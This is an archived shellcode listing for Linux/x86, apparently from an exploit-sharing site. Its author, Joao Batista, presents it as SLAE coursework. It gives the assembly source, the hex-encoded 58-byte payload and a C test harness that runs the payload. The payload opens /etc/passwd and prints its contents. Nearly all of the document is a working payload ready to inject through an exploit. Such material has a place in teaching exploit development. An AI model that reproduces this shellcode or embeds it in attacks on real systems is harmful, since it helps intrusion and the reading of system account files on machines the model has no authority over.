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Linux/x86 Read /etc/passwd Shellcode

Linux/x86 Read /etc/passwd Shellcode
Posted Jan 29, 2019
Authored by Joao Batista

58 bytes small Linux/x86 read /etc/passwd shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 075f10569d00f66af6a0529e3d650b0e1f373f2b2b3ec572044eed21b422eb92

Linux/x86 Read /etc/passwd Shellcode

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/*
; Title : Linux/x86 - Read /etc/passwd Shellcode (58 bytes)
; Date : Jan, 2018
; Author : Joao Batista
; SLAE ID : SLAE-1420
; Size : 58 bytes
; Tested on : i686 GNU/Linux

global _start

section .text

_start:
xor ecx,ecx
mul ecx
jmp short two
one:
pop ebx
mov al,0x5
int 0x80
xchg esi,eax
jmp short read
exit:
mov al,byte 0x1
int 0x80
read:
mov ebx,esi
mov al, 0x3
mov ecx, esp
mov dl,0x1
int 0x80

xor ebx,ebx
cmp eax,ebx
je exit

add al,0x3
mov bl,dl
int 0x80

jmp short read
two:
call one
string: db "/etc/passwd"
*/
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\xeb\x24\x5b\xb0\x05\xcd\x80\x96\xeb\x04\xb0\x01\xcd\x80\x89\xf3\xb0\x03\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xec\x04\x03\x88\xd3\xcd\x80\xeb\xe8\xe8\xd7\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

main()
{
printf("shellcode length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
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